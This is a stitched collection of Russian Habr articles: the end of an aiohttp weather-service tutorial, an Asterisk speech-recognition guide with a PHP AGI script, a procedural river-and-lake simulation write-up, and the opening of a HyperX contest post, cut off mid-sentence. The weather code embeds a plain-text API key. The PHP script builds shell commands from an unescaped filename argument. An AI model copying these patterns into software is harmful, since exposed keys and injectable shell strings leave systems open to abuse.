храниться объекты, общие для всего приложения app_storage = {} async def create_table(): async with aiosqlite.connect('weather.db') as db: await db.execute('CREATE TABLE IF NOT EXISTS requests ' '(date text, city text, weather text)') await db.commit() async def save_to_db(city, weather): async with aiosqlite.connect('weather.db') as db: await db.execute('INSERT INTO requests VALUES (?, ?, ?)', (datetime.now(), city, weather)) await db.commit() async def get_weather(city): url = f'http://api.openweathermap.org/data/2.5/weather' params = {'q': city, 'APPID': '2a4ff86f9aaa70041ec8e82db64abf56'} # используем единую сессию async with app_storage['session'].get(url=url, params=params) as response: weather_json = await response.json() try: return weather_json["weather"][0]["main"] except KeyError: return 'Нет данных' async def get_translation(text, source, target): await logger.info(f'Поступил запрос на на перевод слова: {text}') url = 'https://libretranslate.de/translate' data = {'q': text, 'source': source, 'target': target, 'format': 'text'} # используем единую сессию async with app_storage['session'].post(url, json=data) as response: translate_json = await response.json() try: return translate_json['translatedText'] except KeyError: logger.error(f'Невозможно получить перевод для слова: {text}') return text async def handle(request): city_ru = request.rel_url.query['city'] await logger.info(f'Поступил запрос на город: {city_ru}') city_en = await get_translation(city_ru, 'ru', 'en') weather_en = await get_weather(city_en) weather_ru = await get_translation(weather_en, 'en', 'ru') result = {'city': city_ru, 'weather': weather_ru} await save_to_db(city_ru, weather_ru) return web.Response(text=json.dumps(result, ensure_ascii=False)) async def main(): # создаем единую сессию для всего приложения app_storage['session'] = ClientSession() # контекстный менеджер чтобы сессия корректно закрылась после завершения приложения async with app_storage['session']: await create_table() app = web.Application() app.add_routes([web.get('/weather', handle)]) runner = web.AppRunner(app) await runner.setup() site = web.TCPSite(runner, 'localhost', 8080) await site.start() while True: await asyncio.sleep(3600) if __name__ == '__main__': asyncio.run(main()) ``` Можете заглянуть внутрь созданного на лету файла `weather.db` (только используйте не текстовый просмотрщик, а какую-нибудь утилиту для работы с БД, например, [DBeaver](https://dbeaver.io/)). Для каждого запроса создается соответствующая запись в таблице `requests`. И снова никаких блокировок, мы ведь живем в асинхронном мире. В заключение этого раздела хочу вас поздравить. Теперь вы имеете в руках все необходимое для создания собственных асинхронных веб-приложений. Неважно какой фреймворк вы будете использовать: `FastAPI`, `Tornado`, `Falcon` или какой-нибудь еще. Принцип останется тот же самый как в старом добром `aiohttp`: создаем ручку и в ней нанизываем "шашлык" из вызовов асинхронных функций. Главное, за чем необходимо следить — это чтобы в эти функции не затесался какой-нибудь блокирующий зловред из скучной пыльной синхронной вселенной. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/234/6dd/da4/2346ddda4ee1e447e28d1b0a0b2403ef.png)На этом временно прощаемся. ***Продолжение следует...***
https://habr.com/ru/post/671798/
null
ru
null
# Распознавание речи в Asterisk с использованием Yandex SpeechKit HTTP API ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/3be/3b6/1b0/3be3b61b00a69318b930d0b4124ec0f4.jpg) Статья написана по мотивам [Синтез и распознавание речи от Google для Asterisk](http://habrahabr.ru/post/133869/), с ~~не~~ большими изменениями. Для распознавания речи используется платформа Yandex SpeechKit HTTP API. В диалплане все без изменений (пример для extensions.ael, по моему AEL белее удобен чем extensions.conf): ``` s => { Answer(); Wait(1); Record(/tmp/${UNIQUEID}.wav,3,20); AGI(yandex_voice.php,/tmp/${UNIQUEID}); NoOp(${TEXT}); Hangup(); }; ``` Пример очень примитивен: отвечаем на звонок, ждем 1с., записываем речь, распознаем сказанное, выводим в консоль Asterisk-а распознанный текст, но принцип работы понятен. Теперь что касается непосредственно самого скрипта. Для начала немного об используемых переменных: *$key = 'my\_secret\_key'* — это ваш ключ от API, получить его можно написав письмо на speechkit@yandex-team.ru; *$topic = 'maps'* — тема для распознавания, возможны следующие варианты: • freeform — произвольный текст, заметки и т.д. Вариант применения: переводим в текст сообщение голосовой почты и отправляем его на email или виде SMS. • general — web поисковые запросы, не могу придумать к чему это можно применить в данном контексте; • maps — адреса, GEO-точки (название баров, автозаправочные станции, гостиницы и так далее), и т.д.; • music — названия песен, музыкальных групп и т.д. *$lang = 'ru-RU'* — язык на котором будет происходить распознавание, на данный момент поддерживается русский 'ru-RU' и турецкий 'tr-TR', причем турецкий поддерживается только для тем «general» и «maps»; *$uuid = '12345678123456781234567812345678'* — 32-x цифирная строка, должна быть уникальна для каждого запроса. Более детально API описано в файле Yandex\_SpeechKit\_HTTP\_API\_May[5].pdf который будет отправлен вам вместе с ключом, хотя более короткого мануала по API читать не доводилось, но это и к лучшему. В моем варианте настройки Asterisk-а файл скрипта находятся в папке: /usr/share/asterisk/agi-bin/ И собственно сам код yandex\_voice.php: ``` #!/usr/bin/php -q $agivars = array(); while (!feof(STDIN)) { $agivar = trim(fgets(STDIN)); if ($agivar === '') break; $agivar = explode(':', $agivar); $agivars[$agivar[0]] = trim($agivar[1]); } extract($agivars); $filename = $_SERVER["argv"][1]; $key = 'my_secret_key'; $topic = "maps"; $lang = "ru-RU"; $uuid = "12345678123456781234567812345678"; system('sox '.$filename.'.wav -r 16000 -b 16 -c 1 '.$filename.'-pcm.wav'); $cmd = exec('curl --silent -F "Content-Type=audio/x-pcm;bit=16;rate=16000" -F "audio=@'.$filename.'-pcm.wav" asr.yandex.net/asr_xml\?key='.$key.'\&uuid='.$uuid .'\&topic='.$topic.'\&lang='.$lang, $xml); $res_xml = implode($xml); if (preg_match('!<variant .*?(.*)!si', $res_xml, $arr)) $voice_text = $arr[1]; else $voice_text=''; echo 'SET VARIABLE TEXT "'.$voice_text.'"'."\n"; fgets(STDIN); echo 'VERBOSE ("'.$voice_text.'")'."\n"; fgets(STDIN); exit(0); ?> ``` Да, код не идеален, его можно и нужно улучшить. Как вариант сделать более универсальным передавая ему большую часть переменных аргументами или использовать его как функцию в другом AGI или ARI скрипте. Как он сейчас у меня и используется, для распознания города в котором находится абонент.
https://habr.com/ru/post/225179/
null
ru
null
# Процедурная гидрология: динамическая симуляция рек и озёр ![](https://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/hydrology.png) > **Примечание:** полный исходный код проекта выложен на Github [[здесь](https://github.com/weigert/SimpleHydrology)]. В репозитории также содержится подробная информация о том, как читать и использовать код. После реализации симуляции гидравлической эрозии на основе частиц я решил, что возможно будет расширить эту концепцию для симуляции других аспектов поверхностной гидрологии. Я исследовал уже существующие методики процедурной генерации рек и озёр, но найденные результаты меня не устроили. Основной задачей многих методов является создание систем рек (очень красивых) при помощи различных алгоритмов (иногда на основании заранее созданной карты высот или обратной задачи), но им недостаёт сильной реалистичной связи между рельефом и гидрологией. Кроме того, на некоторых ресурсах рассматривается обработка модели воды на рельефе в целом и используют симуляцию жидкостей высокой сложности. В этой статье я продемонстрирую свою попытку преодоления этих проблем при помощи техники, расширяющей возможности симуляции гидравлической эрозии на основе частиц. Также я объясню, как в целом решаю задачу «воды на рельефе». В своём методе я стремлюсь одновременно и к простоте, и к реализму ценой небольшого повышения сложности базовой системы эрозии. Рекомендую прочитать мою предыдущю статью об этой системе [[здесь](https://weigert.vsos.ethz.ch/2020/04/10/simple-particle-based-hydraulic-erosion/), [перевод](https://habr.com/ru/post/496762/) на Хабре], потому что новая модель строится на её основе. Your browser does not support HTML5 video. *Эта система способна быстро генерировать очень реалистично выглядящий рельеф с гидрологией. Это видео было отрендерено в реальном времени. Система способна генерировать бесконечное множество таких ландшафтов* > **Пояснение:** я не геолог, поэтому создавал систему на основе имеющихся у меня знаний. Концепция гидрологии -------------------- Я хочу создать генеративную систему, способную моделировать множество географических явлений, и в том числе: * Миграция рек и потоков * Естественные водопады * Образование каньонов * Набухание почвы и поймы Следовательно, системы гидрологии и рельефа должны быть динамическими и тесно связанными. В системе гидравлической эрозии на основе частиц уже есть необходимые для этого базовые аспекты: * Рельеф влияет на движение воды * Эрозия и осаждение пород влияют на рельеф По сути, эта система моделирует вызываемую дождями эрозию, но не способна передать множество других воздействий: * В движущемся **потоке** вода ведёт себя иначе * В стоячем **бассейне** вода ведёт себя иначе **Примечание:** я часто буду упоминать **потоки (streams)** и **бассейны (pools)**. В модели делается допущение, что это двухмерные явления большого масштаба. Они очень сильно снижают сложность модели. Большинство из указанных выше географических явлений можно передать при помощи модели потоков и бассейнов. В идеале они должны заимствовать и повышать реализм системы на основе частиц. ### Упрощённая гидрологическая модель Хранение информации о потоках и бассейнах в одной или нескольких структурах данных (графах, объектах и т.п.) — слишком сложный и ограничивающий наши возможности процесс. Поэтому наша гидрологическая модель состоит из двух карт: **карты потоков** и **карты бассейнов**. > **Примечание:** не забывайте, что они моделируются как 2D-системы. #### Карты потоков и бассейнов Карта потоков описывает текущую воду на поверхности (ручьи и реки). В ней хранятся усреднённые по времени позиции частиц на карте. Старая информация медленно удаляется. Карта бассейнов описывает неподвижную воду на поверхности (лужи, пруды, озёра, океаны). Она хранит глубину воды в соответствующей позиции карты. > **Примечание:** карты потоков и бассейнов являются массивами того же размера, что и карта высот. ![](http://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/HeightMap.png) *Рельеф с гидрологическим воздействием. Слой воды в рендере взят из гидрологических карт.* ![](https://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/HydroMap-1.png) *Скомбинированные гидрологические карты. Светло-синяя — карта потоков, тёмно-синяя — карта бассейнов.* Эти карты генерируются и соединяются частицами, перемещающими воду по рельефу. Добавление этих гидрологических карт также даёт нам независимую от времени информацию, позволяющую обеспечивать взаимодействие частиц с симуляцией их по отдельности. Частицы могут взаимодействовать благодаря использованию этих карт для получения параметров, влияющих на их движение. **Примечание:** карта потоков отображается после пропускания через функцию преобразования (ease-in-out) и рендерится на рельефе на основании этого. Для получения более тонких/чётких потоков (или для игнорирования нижних значений на широких плоских областях), это отображение можно модифицировать или задать ему пороговые значения. #### Вода как частица Вода представлена в виде дискретной массы («частицы»), имеющей объём и перемещающейся по поверхности рельефа. Она имеет несколько параметров, влияющих на её движение (трение, скорость испарения, скорость осаждения и т.п.). Это основная структура данных, используемая для симуляции гидрологии. Частицы **не хранятся**, а используются только для взаимодействия между картами высот, потоков и бассейнов. **Примечание:** понятие частицы более подробно объяснено в предыдущем [посте](https://weigert.vsos.ethz.ch/2020/04/10/simple-particle-based-hydraulic-erosion/) [[перевод](https://habr.com/ru/post/496762/) на Хабре] (и бесконечном количестве других ресурсов). ### Гидрологический цикл и взаимодействие карт Карты взаимодействуют друг с другом через гидрологический цикл. Гидрологический цикл состоит из следующих этапов: * Создание частицы на рельефе * **Спуск** частицы на карте высот и выполнение эрозии (т.е. [простой гидравлической эрозии на основе частиц](https://weigert.vsos.ethz.ch/2020/04/10/simple-particle-based-hydraulic-erosion/)). * Если частица останавливается или попадает в уже существующий бассейн, то код пытается создать на карте бассейн её объёма или добавить её объём к бассейну при помощи **затопления**. * Если бассейн переполняется, то частица с объёмом переполнения перемещается в точку слива и **спускается**. * Частица уничтожается, когда исчерпывается её объём (попаданием в бассейн или испарением) или она выходит за границы карты. * Создание новой частицы и повторение операций. Во всей системе существует только два алгоритма: **Descend (спуск)** и **Flood (затопление)**. Спускающиеся частицы изменяют карту потоков, а затапливающие частицы изменяют карту бассейнов. Подробно эти алгоритмы описаны ниже. ![](https://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/Hydrology_Diagram.png) *Одномерная схема гидрологической модели. Частицы создаются на рельефе и циклически обрабатываются двумя алгоритмами: Descend и Flood. В процессе изменяются карты бассейнов и потоков, в свою очередь влияя на движение частиц.* Реализация ---------- Ниже я объясню полную реализацию системы, используемой для генерации результатов, и представлю примеры кода. **Примечание:** я буду показывать только относящиеся к делу части кода. Более подробную информацию можно найти в репозитории на Github. Все соответствующие части кода находятся в файле «water.h». ### Класс частиц Структура частицы Drop идентична структуре из предыдущей системы. Descend и flood теперь являются членами структуры, потому что они действуют одновременно только на одну частицу. ``` struct Drop{ //... constructors int index; //Flat Array Index glm::vec2 pos; //2D Position glm::vec2 speed = glm::vec2(0.0); double volume = 1.0; double sediment = 0.0; //... parameters const double volumeFactor = 100.0; //"Water Deposition Rate" //Hydrological Cycle Functions void descend(double* h, double* stream, double* pool, bool* track, glm::ivec2 dim, double scale); void flood(double* h, double* pool, glm::ivec2 dim); }; ``` Дополнительным параметром является коэффициент объёма, определяющий, как затопление передаёт объём на уровень воды. ### Алгоритм спуска Алгоритм спуска почти такой же, как алгоритм простой эрозии частиц. Он получает дополнительные входящие данные «track» — массив, в который он записывает все посещённые им позиции. Массив необходим для построения в дальнейшем карты потоков. ``` void Drop::descend(double* h, double* stream, double* pool, bool* track, glm::ivec2 dim, double scale){ glm::ivec2 ipos; while(volume > minVol){ ipos = pos; //Initial Position int ind = ipos.x*dim.y+ipos.y; //Flat Array Index //Register Position track[ind] = true; //... } }; ``` Набор параметров модифицируется картами потоков и бассейнов: ``` //... //Effective Parameter Set double effD = depositionRate; double effF = friction*(1.0-0.5*stream[ind]); double effR = evapRate*(1.0-0.2*stream[ind]); //... ``` > **Примечание:** я выяснил, что такое изменение параметров хорошо работает. В предыдущей системе частицы могли выйти из этого цикла и уничтожиться только при полном испарении или выходе за границы рельефа. Теперь сюда добавлены два дополнительных условия выхода: ``` //... nind is the next position after moving the particle //Out-Of-Bounds if(!glm::all(glm::greaterThanEqual(pos, glm::vec2(0))) || !glm::all(glm::lessThan((glm::ivec2)pos, dim))){ volume = 0.0; break; } //Slow-Down if(stream[nind] > 0.5 && length(acc) < 0.01) break; //Enter Pool if(pool[nind] > 0.0) break; //... ``` Если частица не имеет достаточного ускорения и она окружена другими частицами, или напрямую попадает в бассейн, то она преждевременно завершает спуск со всем её оставшимся объёмом и переходит к алгоритму затопления. > **Примечание:** условие выхода за границы также обнуляет объём, чтобы частицы не переходили к алгоритму затопления. ### Алгоритм затопления Частица с оставшимся объёмом может выполнять затопление из своей текущей позиции. Это происходит, если она прекращает спускаться (отсутствует ускорение) или попадает в уже существующий бассейн. Алгоритм затопления переносит объём частицы в повысившийся уровень воды, изменяя карту бассейна. Техника заключается в инкрементном повышении уровня воды на доли объёма частицы при помощи «проверочной плоскости». При повышении уровня воды объём частицы уменьшается. ![](http://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/Flood_Animation.gif) *Анимация алгоритма затопления. Проверочная плоскость и уровень воды повышаются постепенно, уменьшая объём частицы. Если найдена утечка, то оставшийся объём перемещается в точку утечки для выполнения спуска.* На каждом шаге мы выполняем заливку (flood-fill) из позиции частицы (т.е. рекурсивно проверяем позиции соседей), добавляя все позиции, расположенные выше исходной плоскости (текущего уровня воды) и ниже проверочной плоскости во «множество затопления». Это та область рельефа, которая является частью бассейна. Во время выполнения заливки мы проверяем наличие точек утечки. Это точки из множества затопления, находящиеся ниже проверочной плоскости И исходной плоскости. Если мы находим несколько точек утечки, то выбираем самую нижнюю. ``` void Drop::flood(double* height, double* pool, glm::ivec2 dim){ index = (int)pos.x*dim.y + (int)pos.y; double plane = height[index] + pool[index]; //Testing Plane double initialplane = plane; //Water Level //Flood Set std::vector set; int fail = 10; //Just in case... //Iterate while particle still has volume while(volume > minVol && fail){ set.clear(); bool tried[dim.x\*dim.y] = {false}; //Lowest Drain int drain; bool drainfound = false; //Recursive Flood-Fill Function std::function fill = [&](int i){ //Out of Bounds if(i/dim.y >= dim.x || i/dim.y < 0) return; if(i%dim.y >= dim.y || i%dim.y < 0) return; //Position has been tried if(tried[i]) return; tried[i] = true; //Wall / Boundary of the Pool if(plane < height[i] + pool[i]) return; //Drainage Point if(initialplane > height[i] + pool[i]){ //No Drain yet if(!drainfound) drain = i; //Lower Drain else if( pool[drain] + height[drain] < pool[i] + height[i] ) drain = i; drainfound = true; return; //No need to flood from here } //Part of the Pool set.push\_back(i); fill(i+dim.y); //Fill Neighbors fill(i-dim.y); fill(i+1); fill(i-1); fill(i+dim.y+1); //Diagonals (Improves Drainage) fill(i-dim.y-1); fill(i+dim.y-1); fill(i-dim.y+1); }; //Perform Flood fill(index); //... ``` > **Примечание:** для простоты здесь используется восьмисторонний [алгоритм заливки](https://en.wikipedia.org/wiki/Flood_fill). В будущем можно будет реализовать его более эффективно. После определения множества затопления и точек утечки мы изменяем уровень воды и карту бассейнов. Если найдена точка утечки, мы перемещаем частицу (и её объём «переполнения») к точке утечки, чтобы она снова могла начать спускаться. Затем уровень воды спускается до высоты точки утечки. ``` //... //Drainage Point if(drainfound){ //Set the Particle Position pos = glm::vec2(drain/dim.y, drain%dim.y); //Set the New Waterlevel (Slowly) double drainage = 0.001; plane = (1.0-drainage)*initialplane + drainage*(height[drain] + pool[drain]); //Compute the New Height for(auto& s: set) //Iterate over Set pool[s] = (plane > height[s])?(plane-height[s]):0.0; //Remove some sediment sediment *= 0.1; break; } //... ``` > **Примечание:** при снижении уровня воды вследствие утечки я выяснил, что лучше всего это работает при малом коэффициенте утечки. Кроме того, помогает выполнению устранение части осадочных пород. Благодаря этому новые частицы, попадающие в заполненный бассейн, мгновенно перемещают свой объём к точке утечки, потому что добавление объёма к бассейну вытесняет из него тот же объём. Если точка утечки не найдена, то мы вычисляем объём под проверочной плоскостью и сравниваем его с объёмом частицы. Если он меньше, то мы удаляем объём из частицы и регулируем уровень воды. Затем проверочная плоскость поднимается. Если он больше, то проверочная плоскость опускается. Процесс повторяется, пока у частицы не закончится объём или не будет найдена точка утечки. ``` //... //Get Volume under Plane double tVol = 0.0; for(auto& s: set) tVol += volumeFactor*(plane - (height[s]+pool[s])); //We can partially fill this volume if(tVol <= volume && initialplane < plane){ //Raise water level to plane height for(auto& s: set) pool[s] = plane - height[s]; //Adjust Drop Volume volume -= tVol; tVol = 0.0; } //Plane was too high and we couldn't fill it else fail--; //Adjust Planes float approach = 0.5; initialplane = (plane > initialplane)?plane:initialplane; plane += approach*(volume-tVol)/(double)set.size()/volumeFactor; } //Couldn't place the volume (for some reason)- so ignore this drop. if(fail == 0) volume = 0.0; } //End of Flood Algorithm ``` Высота плоскости регулируется пропорционально разности объёмов, отмасштабированной по площади поверхности бассейна (т.е. по размеру множества). При помощи коэффициента приближения можно повысить стабильность того, как плоскость достигает правильного уровня воды. ### Обёртка эрозии Класс мира содержит все три карты в виде обычных массивов: ``` class World { public: void generate(); //Initialize void erode(int cycles); //Erode with N Particles //... double heightmap[256*256] = {0.0}; double waterstream[256*256] = {0.0}; double waterpool[256*256] = {0.0}; }; ``` > **Примечание:** карта высот инициализируется при помощи шума Перлина. Каждый шаг гидрологии для отдельной частицы состоит из следующего: ``` //... //Spawn Particle glm::vec2 newpos = glm::vec2(rand()%(int)dim.x, rand()%(int)dim.y); Drop drop(newpos); int spill = 5; while(drop.volume > drop.minVol && spill != 0){ drop.descend(heightmap, waterstream, waterpool, track, dim, scale); if(drop.volume > drop.minVol) drop.flood(heightmap, waterpool, dim); spill--; } //... ``` Параметр spill определяет, сколько раз частица может попасть в бассейн и снова покинуть его, прежде чем не будет просто уничтожена. В противном случае частицы погибают при истощении их объёма. > **Примечание:** частицы редко попадают в бассейны и покидают их более одного-двух раз, прежде чем полностью не испарятся на этапах спуска, но я на всякий случай добавил это. Функция эрозии оборачивает этот код и выполняет шаги гидрологии для N частиц, напрямую изменяя карту потоков: ``` void World::erode(int N){ //Track the Movement of all Particles bool track[dim.x*dim.y] = {false}; //Simulate N Particles for(int i = 0; i < N; i++){ //... simulate individual particle } //Update Path double lrate = 0.01; //Adaptation Rate for(int i = 0; i < dim.x*dim.y; i++) waterstream[i] = (1.0-lrate)*waterstream[i] + lrate*((track[i])?1.0:0.0); } ``` Здесь массив track передаётся функции спуска. Я выяснил, что одновременное отслеживание движения нескольких частиц и соответствующие изменения обеспечивают для карты потоков улученные результаты. Скорость адаптации (adaptation rate) определяет, насколько быстро удаляется старая информация. ### Деревья Просто ради интереса я добавил деревья, чтобы посмотреть, можно ли ещё немного улучшить симуляцию эрозии. Они хранятся в классе мира как вектор. Деревья случайным образом создаются на карте в местах, где нет бассейнов и сильных потоков, а рельеф не особо обрывистый. Также они имеют шанс на создание вокруг себя дополнительных деревьев. В процессе создания деревьев они выполняют запись в карту плотности растительности в определённом радиусе вокруг себя. Высокая плотность растительности снижает массообмен между спускающимися частицами и рельефом. Это нужно для имитации того, как корни удерживают на месте почву. ``` //... descend function double effD = depositionRate*max(0.0, 1.0-treedensity[ind]); //... ``` Деревья погибают, если они находятся в бассейне, или поток под ними слишком мощен. Кроме того, они имеют случайную вероятность гибели. Your browser does not support HTML5 video. *Благодаря наложению теней и картам нормалей даже очень простые спрайты деревьев делают рельеф красивее.* > **Примечание:** модель дерева можно найти в файле «vegetation.h» и в функции «World::grow()». ### Другие подробности Результаты визуализируются при помощи самодельной обёртки OpenGL, которая выложена [[здесь](https://github.com/weigert/TinyEngine)]. Результаты ---------- Частицы могут создаваться на карте согласно любому нужному вам распределению. В своих демонстрациях я создавал их равномерным распределением на картах размером 256×256. Как видно ниже, получающаяся симуляция сильно зависит от выбора исходного рельефа. Система способна имитировать большое множество природных явлений. Адекватно получить мне не удалось только каньоны. Возможно, для них потребуется очень долговременная и медленная симуляция. В системе можно наблюдать другие явления, такие как водопады, извилистость и дельты рек, озёра, набухание почвы, и так далее. Системе также очень хорошо удаётся распределить потоки и бассейны в местах, где скапливается много осадков, а не в случайных местах. Поэтому сгенерированная гидрология тесно связана с рельефом. *Гидрологическая симуляция в реальном времени на сетке 256×256. Исходный рельеф относительно гладок, что позволяет быстро появляться потокам. В самом начале можно наблюдать простейшее создание бассейнов и утечек, после чего появляются и сохраняются крупные потоки.* ### Сравнение воздействия сужения потоков Чтобы сравнить разницу, создаваемую связью карты с системой эрозии, можно симулировать гидрологию на одной и той же карте, включая и отключая разные эффекты. Я симулировал одинаковый рельеф три раза: * Эрозия на основе частиц (базовая эрозия), получающая карты потоков и бассейнов. Бассейны всё равно влияют на генерацию * Базовая эрозия с параметрами, изменяемыми гидрологическими картами (в сочетании с эрозией) * Скомбинированная эрозия с параметрами, изменяемыми гидрологическими картами и влияющими на эрозию деревьями **Примечание:** это довольно хаотичная система, и тип проявляющейся гидрологии сильно зависит от рельефа. Сложно найти «очень показательный» пример рельефа. ![](http://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/Terrain_Base.png) *Рендер рельефа базовой системы* ![](http://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/Terrain_Coupled.png) *Рендер рельефа скомбинированной системы* ![](http://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/Terrain_Tree.png) *Рендер рельефа системы с деревьями* Интересное наблюдение: соединение гидрологических карт с параметрами частиц на самом деле сужает русла рек. Особенно в плоских областях частицы меньше распределяются и сливаются в малое количество более сильных потоков. Пониженное трение и испарение успешно справляются с тем, что частицы начинают предпочитать уже сложившиеся русла. Другие эффекты более заметны при непосредственном наблюдении за рельефом. ![](http://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/Hydromap_Base.png) *Гидрологическая карта базовой системы* ![](http://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/Hydromap_Coupled.png) *Гидрологическая карта скомбинированной системы* ![](http://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/Hydromap_Tree.png) *Гидрологическая карта системы с деревьями* **Примечание:** эти результаты были сгенерированы ровно за 60 секунд времени симуляции. Деревья дополнительно влияют на сужение. Они усиливают процесс вырезания потоками чётких путей в обрывистых областях. Они заставляют потоки оставаться в уже проложенных руслах, а потому снижают извилистость. Таким образом, расположение деревьев влияет на движение воды. Your browser does not support HTML5 video. *Пример записи того, как расположение деревьев может помогать сохранять местоположение потоков. Это тот же рельеф, что и раньше, со всеми активированными эффектами.* ### Воздействие бассейнов Система создания бассейнов хорошо работает и позволяет существовать на одном рельефе нескольким водным массам с разными высотами. Также они могут эффективно выливаться друг в друга и опустошаться. Your browser does not support HTML5 video. *Пример видео образования бассейнов на более грубом исходном рельефе с бОльшим перепадом высот. Верхнее озеро физически расположено над нижним и сливает получаемую воду напрямую в нижнее озеро.* > **Примечание:** у меня получалось несколько seed-ов, при которых три озера последовательно перетекали друг в друга, но я не хотел тратить много времени для нахождения подходящего для этой статьи. Я и так уже сгенерировал слишком много картинок и видео. Время от времени уровень высоты бассейна скачет. Думаю, это происходит, когда уровень воды близок к уровню утечки и добавляется много воды. Этот эффект можно снизить, уменьшив скорость утечки в функции затопления. ![](http://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/Pooling_Terrain.png) *Спустя ещё одну минуту генерации сами собой появились несколько новых бассейнов.* ![](http://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/Pooling_Terrain2.png) *При более крутом угле разница высот бассейнов заметнее.* ![](http://weigert.vsos.ethz.ch/wp-content/uploads/2020/04/Pooling_Hydromap.png) *Гидрологическая карта чётко показывает, что центральный бассейн сливается в нижний бассейн.* Выполнение алгоритма затопления приводит к тому, что бассейны видят «стену» на границе карты. Это заметно на показанных выше изображениях. Ещё одним возможным улучшением может стать добавление в мир уровня моря, чтобы бассейны соблюдали утечки на краях карты на уровне моря, а в противном случае просто переполнялись. ### Скорость симуляции Время каждого шага спуска и затопления меняется от частицы к частице, но остаётся примерно одного порядка величины (около 1 микросекунды). При установившихся потоках частицы перемещаются по карте быстрее. Время затопления меняется пропорционально размеру бассейна, потому что операция заливки является самым затратным этапом. Чем больше бассейны, тем больше площадь, для которой нужно повышать уровень воды. Большие бассейны определённо являются «бутылочным горлышком» системы. Если у вас есть идеи по увеличению скорости, то дайте мне знать. Время спуска меняется пропорционально размеру карты и множеству других параметров, в том числе трению и скорости испарения. Все видео в этой статье записаны в реальном времени, то есть в целом симуляция выполняется быстро. > **Примечание:** вскоре после публикации этой статьи я внёс небольшое изменение в способ вычисления нормалей поверхностей, что увеличило скорость симуляции. Эффект от этого сильно заметен при выполнении симуляции, но его трудно подвергнуть бенчмарку из-за больших вариаций во времени выполнения спуска и затопления. По моим оценкам, скорость симуляции удвоилась. ### Ещё красивые видео Your browser does not support HTML5 video. Симуляция гидрологии на неровном вертикальном рельефе. Your browser does not support HTML5 video. *Немного более гладкий рельеф. Некоторые озёра немного получаются немного колеблющимися.* Your browser does not support HTML5 video.*Симуляция гидрологии на плоском гладком рельефе.* Последующие видео были записаны после улучшения скорости. Your browser does not support HTML5 video. *Ещё более плоский и плавный рельеф.* Your browser does not support HTML5 video. *Видео с рекой, образовавшейся из нескольких соединённых потоков. Основная река имеет две точки, в которых вбирает в себя меньшие потоки, и мы видим, как она растёт в размерах.* Your browser does not support HTML5 video. *Более неровный рельеф с формированием рек.* Я могу продолжать так вечно. Вывод и работа на будущее ------------------------- Эта простая техника по-прежнему основана на частицах, но ей успешно удаётся передать множество дополнительных эффектов. Она обеспечивает простой способ симуляции крупномасштабного движения воды без полной симуляции динамики жидкостей. Кроме того, она работает с интуитивно понятной моделью воды. В симуляциях мы можем наблюдать возникновение извилистых рек, водопадов, озёра и переливание озёр, реки, разделяющиеся на плоских областях на дельты, и т.п. Было бы интересно добавить разные типы почвы в виде карты почв, из которой можно было бы брать параметры эрозии. Также можно легко изменить систему деревьев, чтобы создавать разные типы деревьев, удерживающих почву на месте. Сложно в нескольких картинках и видео передать разнообразие генерируемых результатов, поэтому вам стоит попробовать сделать это самостоятельно, получается очень интересно. Рекомендую поэкспериментировать с исходными параметрами карты, в том числе с октавами шума и масштабом карты. Если у вас есть вопросы или комментарии, то можете связаться со мной. Я довольно напряжённо работал над этим проектом, так что мозги спеклись и я уверен, что упустил какие-то интересные аспекты.
https://habr.com/ru/post/498290/
null
ru
null
# Настало время офигительных историй Привет, GT! В новом году мы хотим сделать наши материалы лучше и полезнее, а поэтому предлагаем поучаствовать в обмене знаниями: вы нам — интересные концепции, истории и жизненный опыт, ну а мы — приятные призы и подарки. ![](https://habrastorage.org/r/w780q1/webt/kl/d2/5f/kld25fyxqeufxy29ng-egd0vlgq.jpeg) У HyperX есть три основных направления работы: игровая периферия, оперативная память и SSD-накопители. В каждом из них мы стремимся создавать лучшие продукты и делать покупателей не просто «пользователями», но фанатами, которые на 100% довольны результатом апгрейда. В нашем мини-конкурсе номинаций тоже три — по числу отраслей. Вот условия. «Скилл тащит, но хардвёр решает» -------------------------------- Можно быть сколь угодно высококлассным специалистом в любой сфере, но рано или поздно «личный скилл» упрётся в потолок аппаратного обеспечения. Сложно быть хорошим снайпером, если прицел сбит, а приклад разболтан. ![](https://habrastorage.org/r/w780q1/webt/jx/uv/-x/jxuv-xlqngm0tamssxvof4lx0yq.jpeg) Работа с графикой и 3D, набор текста, да те же игры — комфортная периферия с высококлассными комплектующими может сэкономить вам кучу времени, сил и нервов, а иногда и вовсе вывести на новый уровень мастерства. Поделитесь своей историей: когда и в каких ситуациях замена обычных клавиатур, мышей или гарнитур помогла вам на работе или в играх. Автор лучшей публикации получит [HyperX Alloy Elite FPS](http://hyperx.gg/GeekElite) — механическую клавиатуру с продуманной архитектурой и минимумом лишних фич. «Скажи «нет» сферическим коням в вакууме» ----------------------------------------- Любой бенчмарк — это добро и зло в одном флаконе. С одной стороны, он позволяет сравнивать две схожих железки в одинаковых условиях. С другой — не всегда известно, что у теста «под капотом», и являются ли полученные показатели хоть сколько-нибудь полезными в реальных задачах. Мы — за объективные бенчмарки, и предлагаем вам изобрести простую, воспроизводимую и наиболее полно отвечающую реальным потребностям методику измерения производительности SSD-накопителей. Возьмите лично ваш пользовательский опыт, изучите, какие операции для вас важны, а какие — второстепенны, предложите типичный сценарий использования, и, быть может, именно вам достанется комплект из 2 модулей памяти Kingston [KVR DDR4 2133 МГц по 8 Гбайт](https://goo.gl/4aAnWa). ![](https://habrastorage.org/r/w780q1/webt/wf/-r/ov/wf-rovchf4m2frnltl924mxy8k4.jpeg) «Need for Speed» ---------------- Игры, работа с графикой, видео и 3D, задачи многопоточного программирования, специфическое железо… Обычно пользователи редко обращают внимание на частоту оперативной памяти: стоит «мэйнстрим» — и чёрт с ним. Те 2-3% прироста общей производительности, что можно получить с высокоскоростных модулей, 